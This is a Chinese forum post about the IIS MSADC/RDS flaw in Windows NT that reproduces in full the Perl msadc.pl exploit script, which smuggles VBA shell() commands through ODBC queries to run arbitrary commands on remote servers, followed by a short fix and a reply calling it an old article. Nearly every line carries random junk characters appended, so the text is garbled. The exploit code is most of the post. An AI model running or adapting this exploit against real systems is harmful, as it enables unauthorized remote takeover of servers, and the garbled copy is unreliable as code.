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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) `rV -,-r@  
bk]g}s  
涉及程序: E`]un.  
Microsoft NT server 7Dw. 9EQ  
2 ]n4)vv,  
描述: +`!>lo{X  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 t ;fJ`.  
ULO_?4}B  
详细: 5Ha(i [d  
如果你没有时间读详细内容的话,就删除: V 7D<'!  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *;Z a))  
有关的安全问题就没有了。 uUe#+[bD  
%CqG/ol  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _|#P~Ft  
x@D> JG  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 VO /b&%  
关于利用ODBC远程漏洞的描述,请参看: g+Y &rz  
=&~ K;=:  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm n*caP9B  
V(Cxd.u   
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2nCHL '8N  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp w|4CBll  
4}Lui9  
这里不再论述。 yoz-BS  
xm tD0U1  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: L]l?_#*x  
s.a@uR^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset HcrlcxwM\i  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 4\j1+&W   
1B$8<NCQ=?  
z>b^Ui0  
#将下面这段保存为txt文件,然后: "perl -x 文件名" # wyjb:Ql  
+-rSO"nc  
#!perl l-5O5|C  
# <[=[|DS l  
# MSADC/RDS 'usage' (aka exploit) script 8C*xrg#g:  
# *%%n9T  
# by rain.forest.puppy yM7FR);  
# s~k62  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me UG]x CkDS  
# beta test and find errors! bAUYJPRpy  
,V''?@  
use Socket; use Getopt::Std; u++a0>N  
getopts("e:vd:h:XR", \%args); #A:^XAU1Z@  
F4:5 >*:  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [8vqw(2Tm(  
=FM rVE  
if (!defined $args{h} && !defined $args{R}) { dP"cm0  
print qq~ mq4VwT  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Wxgs66   
-h <host> = host you want to scan (ip or domain) W #kLM\2L  
-d <seconds> = delay between calls, default 1 second 8E>2 6@.  
-X = dump Index Server path table, if available s !I I}'Je  
-v = verbose s"~,Zzy@j  
-e = external dictionary file for step 5 ^;$9>yi1  
v7v>  
Or a -R will resume a command session C;ME"4,(  
|w-s{L3@+  
~; exit;} &E@mCQ1  
nN>Uh T  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; fT<3~Z>m  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {;o54zuKf  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} qat'Vj,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \*pS 4vy5x  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ClufP6'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } @P[%6 d  
F5{GMn;j  
if (!defined $args{R}){ $ret = &has_msadc; rLbFaLeQ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} B5_QH8kt7  
ssmJ?sl  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" `.wgRUhFH;  
. "cmd /c "; w1 A-_  
$in=<STDIN>; chomp $in; }IQ![T5  
$command="cmd /c " . $in ; kjr q;j:  
0|{":i_s  
if (defined $args{R}) {&load; exit;} 1uz K(j8w  
ncpA\E;ff^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; T,B%iZgCh  
&try_btcustmr; iphdJZ/f  
%v^qQWy=*  
print "\nStep 2: Trying to make our own DSN..."; V1A7hRjxvG  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; yKmHTjX=  
#XNURj  
print "\nStep 3: Trying known DSNs..."; "*KOU2}C  
&known_dsn; kn WI7  
d8WEsQ+)A  
print "\nStep 4: Trying known .mdbs..."; & fnfuU$   
&known_mdb; |r4&@)  
,pW^>J  
if (defined $args{e}){ {@Z*.G^  
print "\nStep 5: Trying dictionary of DSN names..."; $$R- >  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N8!e(Y K_  
r)<n)eXeD  
print "Sorry Charley...maybe next time?\n"; s yb$%  
exit; {q&A/  
p4K 8L'nZ  
############################################################################## @s\}ER3  
=4Jg6JKYg  
sub sendraw { # ripped and modded from whisker GF0Utp:Zf;  
sleep($delay); # it's a DoS on the server! At least on mine... !m9g\8tE  
my ($pstr)=@_; ul"Z% 1]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || QdIoK7J 9  
die("Socket problems\n"); 4Cvo^k/I  
if(connect(S,pack "SnA4x8",2,80,$target)){ "eI">`!g  
select(S); $|=1; `2'*E\   
print $pstr; my @in=<S>; f&X M|Bg  
select(STDOUT); close(S); + Cq&~<B  
return @in; eqpnh^0}d  
} else { die("Can't connect...\n"); }} iT1HbAT]  
|~=4Z rcCP  
############################################################################## UQtG<W]<  
d"+ _`d=`  
sub make_header { # make the HTTP request 0%3T'N%  
my $msadc=<<EOT WhV>]B2+"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 1i Q(q\%  
User-Agent: ACTIVEDATA 5zt5]zl'  
Host: $ip g$8a B{)  
Content-Length: $clen "azrcC  
Connection: Keep-Alive O)r>AdLGn  
Z3iX^  
ADCClientVersion:01.06 RP wP4Z  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 X<H+Z2d  
~>}7+p ?;  
--!ADM!ROX!YOUR!WORLD! fJY b)sN  
Content-Type: application/x-varg B_%O6  
Content-Length: $reqlen dw7h@9\ y  
{7=k/Y*U  
EOT 6<UI%X  
; $msadc=~s/\n/\r\n/g; [wJl]i  
return $msadc;} $U%N$_k?  
.r@'9W^8  
############################################################################## ^ X<ytOd5  
G""=`@  
sub make_req { # make the RDS request ,Lw '3  
my ($switch, $p1, $p2)=@_; >Wj8[9zf  
my $req=""; my $t1, $t2, $query, $dsn; 2K2jko9'a  
cp+eh  
if ($switch==1){ # this is the btcustmr.mdb query M]e _@:!  
$query="Select * from Customers where City=" . make_shell(); l,Ixz1S3e  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9K{0x7~  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 23`pog{n  
et}s yPH  
elsif ($switch==2){ # this is general make table query w"j[c#vM  
$query="create table AZZ (B int, C varchar(10))"; dJZ 9mP!d  
$dsn="$p1";} `ln= D$  
pB,@<\l %  
elsif ($switch==3){ # this is general exploit table query iS28p  
$query="select * from AZZ where C=" . make_shell(); ]&L[]  
$dsn="$p1";} 3a,7lTUuB  
>@^j9{\  
elsif ($switch==4){ # attempt to hork file info from index server )W![TIp  
$query="select path from scope()"; .fS1  
$dsn="Provider=MSIDXS;";} 8f#&CC!L  
6z+*H7Qz  
elsif ($switch==5){ # bad query s ,GGO3^  
$query="select"; =7U 8`]WA  
$dsn="$p1";} +' ?axv6e  
%MN>b[z  
$t1= make_unicode($query); fkr; a`<W  
$t2= make_unicode($dsn); <1E* wPm8  
$req = "\x02\x00\x03\x00"; Gt?ckMB  
$req.= "\x08\x00" . pack ("S1", length($t1)); $e![^I]`  
$req.= "\x00\x00" . $t1 ; dp>LhTLc  
$req.= "\x08\x00" . pack ("S1", length($t2)); a7l-kG=R;  
$req.= "\x00\x00" . $t2 ; Hd=!  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; -ID!kZx  
return $req;} n15lX,FI  
C Eb .?B  
############################################################################## O7T wM Yh  
&k {1N.  
sub make_shell { # this makes the shell() statement ehls:)F  
return "'|shell(\"$command\")|'";} )Y,>cg:z~  
y]E ?\03"  
############################################################################## ,0[h`FN  
uY=}w"Db  
sub make_unicode { # quick little function to convert to unicode 7~ok*yGw  
my ($in)=@_; my $out; Nc:>]  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } \9dC z;  
return $out;} dD"o~iEC  
(g]J hG  
############################################################################## $`/J V?Z  
:ug j+  
sub rdo_success { # checks for RDO return success (this is kludge) >=Un=Q%  
my (@in) = @_; my $base=content_start(@in); g\ p;  
if($in[$base]=~/multipart\/mixed/){ Z(-@8=0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} HzF]hm,  
return 0;} EK}f-Xei  
DvvjIYB~  
############################################################################## zi}dQsy6  
-|xyj2M  
sub make_dsn { # this makes a DSN for us g4*]R>f  
my @drives=("c","d","e","f"); ]i@VIvYq  
print "\nMaking DSN: "; Flzl,3rW4  
foreach $drive (@drives) { nXqZkZE\  
print "$drive: "; mEe JK3D[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . R%N&Y~zH  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" d.uJ}=|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); P$i?%P~  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |^E# cI  
return 0 if $2 eq "404"; # not found/doesn't exist n~k9Z^ $  
if($2 eq "200") { gb_k^wg~1'  
foreach $line (@results) { pjX')i<  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ryp@<}A]!d  
} return 0;} YWPAc>uw,  
3EKqXXzOB  
############################################################################## (""1[XURQK  
c B9`U4<  
sub verify_exists { YkLEK|d  
my ($page)=@_; \[w82%U  
my @results=sendraw("GET $page HTTP/1.0\n\n"); B? r[|  
return $results[0];} nzHsyL  
Jm8#M z  
############################################################################## D0=H&Z[  
@l:\Ka~TS  
sub try_btcustmr { u;*Wc9>sU  
my @drives=("c","d","e","f"); niV=Ijt{5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); fu95-)M  
29E9ZjSK  
foreach $dir (@dirs) { NPM}w!  
print "$dir -> "; # fun status so you can see progress PO[ AP%;  
foreach $drive (@drives) { :kDHwYv$  
print "$drive: "; # ditto RHGs(d7-  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 438+ zU  
$reqlenlen=length( "$reqlen" ); 9RoN,e8!  
$clen= 206 + $reqlenlen + $reqlen; +;Jb)8  
7u Q-:n  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); NK+iLXC  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} xA9{o+  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ,IW$XD  
6 2r%q^r`i  
############################################################################## QX'/PO  
=MqefV;-  
sub odbc_error { RvF6bIqo  
my (@in)=@_; my $base; T.zU erbO  
my $base = content_start(@in);  CKv [E  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8*^Q#;^~99  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F? kW{,*  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T&=1IoOg  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #eT{?_wM  
return $in[$base+4].$in[$base+5].$in[$base+6];} &Q[Y&vNn  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; dkC[Jt  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Ncu\;K\N  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 0 ej!!WP  
6XO%l0dC.  
############################################################################## YoKY&i6r}  
||&EmH  
sub verbose { qmcLG*^,  
my ($in)=@_; 7)NQK9~  
return if !$verbose; q8 ;WHfGf  
print STDOUT "\n$in\n";} 4#Fz!Km  
ruLi "d  
############################################################################## KF|<A@V  
~/6m|k  
sub save {  Yq.Cz:>b  
my ($p1, $p2, $p3, $p4)=@_; 8#w}wGV*  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; yD+)!q"  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; [e+"G <>  
close OUT;} ?+S&`%?  
L "L@4 B  
############################################################################## 3 n/U4fn_  
2!/_Xh  
sub load { mB.kV Ve0  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; xGq,hCQHV  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); H/p<lp  
@p=<IN>; close(IN); QUp()B1  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); xoD5z<<  
$target= inet_aton($ip) || die("inet_aton problems"); e}?#vTRI}  
print "Resuming to $ip ..."; # k1%}k=  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; `}KK@(Y  
if($p[1]==1) { gd6We)&  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; m?G}%u  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; EAcJ>  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); iO;q]  
if (rdo_success(@results)){print "Success!\n";} QW.VAF\6*  
else { print "failed\n"; verbose(odbc_error(@results));}} k, )7v  
elsif ($p[1]==3){ 7CzZHkTg  
if(run_query("$p[3]")){ h5G>FPM-=  
print "Success!\n";} else { print "failed\n"; }} SxYX`NQ  
elsif ($p[1]==4){ +!6C^G  
if(run_query($drvst . "$p[3]")){ Y B@\"|}  
print "Success!\n"; } else { print "failed\n"; }} 1o7 pMp=  
exit;} #e0tT+  
!6ZkLE[XJ<  
############################################################################## +.Kmpw4  
%Ysu613mz  
sub create_table { Z<Rz}8s  
my ($in)=@_; xQC.ap  
$reqlen=length( make_req(2,$in,"") ) - 28; A\Q]o#U  
$reqlenlen=length( "$reqlen" ); <D4.kM  
$clen= 206 + $reqlenlen + $reqlen; ?w1_.m|8u  
my @results=sendraw(make_header() . make_req(2,$in,"")); e*e}X&|(g  
return 1 if rdo_success(@results); 2Av3.u8%u  
my $temp= odbc_error(@results); verbose($temp); Ud0%O  
return 1 if $temp=~/Table 'AZZ' already exists/; /_?E0 r  
return 0;} >A|6 kzC  
wh:O"&qk  
############################################################################## %b2.JGBqJ  
|,j6cFNw  
sub known_dsn { .!Kdi|a)  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go W$@q ~/E  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *usfJ-  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", _JA.~edqM  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); \Nu(+G?e  
 gM20n^  
foreach $dSn (@dsns) { KUVsCmiT  
print "."; gEtD qq~y@  
next if (!is_access("DSN=$dSn")); "xlf6pm%  
if(create_table("DSN=$dSn")){ *TA${$K  
print "$dSn successful\n"; !m rB+<:  
if(run_query("DSN=$dSn")){ ~wIVw}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o;mXk2  
print "Something's borked. Use verbose next time\n";}}} print "\n";} B2%)G$B  
9 kzytx  
############################################################################## L$h.VQv+  
I+w3It  
sub is_access { |HJdpY>Uu  
my ($in)=@_; `~[zIq:}7  
$reqlen=length( make_req(5,$in,"") ) - 28; Nhn5 iN1*  
$reqlenlen=length( "$reqlen" ); '5KgRK"  
$clen= 206 + $reqlenlen + $reqlen; EXg\a#4['  
my @results=sendraw(make_header() . make_req(5,$in,"")); s,N%sO;  
my $temp= odbc_error(@results); to^ &:  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); D Y($  
return 0;} ,)XT;iGQe  
JQ'NFl9<  
############################################################################## dfGdY"&  
ZPn`.Qc  
sub run_query { EkM?Rs  
my ($in)=@_; q(e&{pbM)  
$reqlen=length( make_req(3,$in,"") ) - 28; ;Aiuy{<  
$reqlenlen=length( "$reqlen" ); |x 2>F  
$clen= 206 + $reqlenlen + $reqlen; 0]{h,W3]@[  
my @results=sendraw(make_header() . make_req(3,$in,"")); bV&/)eqv  
return 1 if rdo_success(@results); a_m P$4T  
my $temp= odbc_error(@results); verbose($temp); 4s~Y qP{K  
return 0;} ox] LlRK  
|uQJMf[L)  
############################################################################## D,dmlv  
s d>&6 R^  
sub known_mdb { #O z<<G<  
my @drives=("c","d","e","f","g"); g/W<;o<v(I  
my @dirs=("winnt","winnt35","winnt351","win","windows"); cUaLv1:HI  
my $dir, $drive, $mdb; R~CQ=KQ.  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; eCMcr !.  
Gk*Mx6|N  
# this is sparse, because I don't know of many 1?`,h6d*=  
my @sysmdbs=( "\\catroot\\icatalog.mdb", q*TH),)J  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "0+_P{w+  
"\\system32\\certmdb.mdb", 9M:wUYHT  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% HQK%Y2S  
M5HKRLt  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", gzvEy^X  
"\\cfusion\\cfapps\\forums\\forums_.mdb", \i}n1Qd  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Y.3]vno?X  
"\\cfusion\\cfapps\\security\\realm_.mdb", ~!&WK,k6  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 97e fWYj  
"\\cfusion\\database\\cfexamples.mdb", B%Dy;zdWd/  
"\\cfusion\\database\\cfsnippets.mdb", lz EF^6I  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", v&i M/pJU  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", u}D.yI8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", bQow,vf  
"\\cfusion\\database\\smpolicy.mdb", 2J^6(vk  
"\\cfusion\\database\cypress.mdb", U5z^R>k  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", y. @7aT5  
"\\website\\cgi-win\\dbsample.mdb", (EIdw\  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", {7[^L1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" S3i%7f^C?N  
); #these are just EQ8jxr<p  
foreach $drive (@drives) { WZ'8{XY8  
foreach $dir (@dirs){ wy <m&M<Gr  
foreach $mdb (@sysmdbs) { pMYEL  
print "."; Fd2Eq&:en$  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ HlBw:D(z:^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; C;}~C:aJ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !`hjvJryw  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; vUR{!`14  
} else { print "Something's borked. Use verbose next time\n"; }}}}} j?29_Az  
mQtGE[  
foreach $drive (@drives) { }k.-xaj  
foreach $mdb (@mdbs) { LpeQx\  
print "."; &OK(6o2m;  
if(create_table($drv . $drive . $dir . $mdb)){ BhLYLlXPY  
print "\n" . $drive . $dir . $mdb . " successful\n"; = \AI92  
if(run_query($drv . $drive . $dir . $mdb)){ 1Wtr_A  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; \$T  
} else { print "Something's borked. Use verbose next time\n"; }}}} )t9<cJ=  
} 2PE|4zG  
'W3>lAPx!  
############################################################################## 8n?qm96  
kih;'>H<  
sub hork_idx { {3lsDU4  
print "\nAttempting to dump Index Server tables...\n"; $GNN* WmHw  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~dC)EG  
$reqlen=length( make_req(4,"","") ) - 28; )7Gm<r  
$reqlenlen=length( "$reqlen" ); 3_~V(a  
$clen= 206 + $reqlenlen + $reqlen; UGj!I  
my @results=sendraw2(make_header() . make_req(4,"","")); ZK1d3  
if (rdo_success(@results)){ r@f8-!{s2h  
my $max=@results; my $c; my %d; #Z)e]4{!l  
for($c=19; $c<$max; $c++){ %N7b XKDP  
$results[$c]=~s/\x00//g; v*<hE>J0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ?<]BLkx  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; g2JNa?z  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [U]U *x  
$d{"$1$2"}="";} \Pi\c~)Pr  
foreach $c (keys %d){ print "$c\n"; } 9Iq[@v  
} else {print "Index server doesn't seem to be installed.\n"; }} *r@7:a5  
b4ZZyw  
############################################################################## 8s-y+M@.  
 msM  
sub dsn_dict { "6 |j 0?Q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); d }=fJ  
while(<IN>){ _?M34&.X  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; tisSj?+  
next if (!is_access("DSN=$dSn")); No>XRG+  
if(create_table("DSN=$dSn")){ X xcY  
print "$dSn successful\n"; !qS~YA  
if(run_query("DSN=$dSn")){ pYa8iQ`6U;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [^ $nt  
print "Something's borked. Use verbose next time\n";}}} B\r2M`N5  
print "\n"; close(IN);} J:Ea|tXK^  
t>N~PXr  
############################################################################## >8D!K0?E  
L3GA]TIf  
sub sendraw2 { # ripped and modded from whisker E^rKS&P  
sleep($delay); # it's a DoS on the server! At least on mine... d&4 ve Lu  
my ($pstr)=@_; H=9kDP${  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ExeD3Zj  
die("Socket problems\n"); =,$*-<p=3  
if(connect(S,pack "SnA4x8",2,80,$target)){ R8I%Cyc  
print "Connected. Getting data"; SE.r 'J0  
open(OUT,">raw.out"); my @in; dKTyh:_{  
select(S); $|=1; print $pstr; 3p6QJuSB  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Oq@+/UWX  
close(OUT); select(STDOUT); close(S); return @in; 7DDd 1"jE  
} else { die("Can't connect...\n"); }}  QMLz  
a\>+!Vq  
############################################################################## n/6#rj^$  
NY 756B*  
sub content_start { # this will take in the server headers Atc9[<~WG  
my (@in)=@_; my $c;  <K;  
for ($c=1;$c<500;$c++) { C]414Ibi  
if($in[$c] =~/^\x0d\x0a/){ *`Swv`  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } `ltc)$  
else { return $c+1; }}} FM;NA{  
return -1;} # it should never get here actually _8A  
z`$jxSLm  
##############################################################################  (-Cxv`7  
nNz1gV:0X  
sub funky { ]6L;   
my (@in)=@_; my $error=odbc_error(@in); DXBc 7J  
if($error=~/ADO could not find the specified provider/){ +wc8rE6+W  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0gO_dyB  
exit;} mivb}cKM  
if($error=~/A Handler is required/){ rV84?75( Y  
print "\nServer has custom handler filters (they most likely are patched)\n"; G2qv)7{l2  
exit;} O42`Z9oK  
if($error=~/specified Handler has denied Access/){ ">cLPXX  
print "\nServer has custom handler filters (they most likely are patched)\n"; "5 ;fuM1  
exit;}} w^z5O6   
,`PC^`0c}o  
############################################################################## 3.+TM]RYN  
.7&V@A7  
sub has_msadc { 5{Q5?M]  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); IR;l{q&`  
my $base=content_start(@results); vZ,DJ//U,  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); R d'P\  
return 0;} Gu+9R>  
2?P H||  
######################## 2(LF @xb  
K+MSjQS"  
r5 tn'  
解决方案: -fpe  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll H3-(.l[!b)  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =~zsah6N  
`#HtVI  
拿出来充数 哈哈
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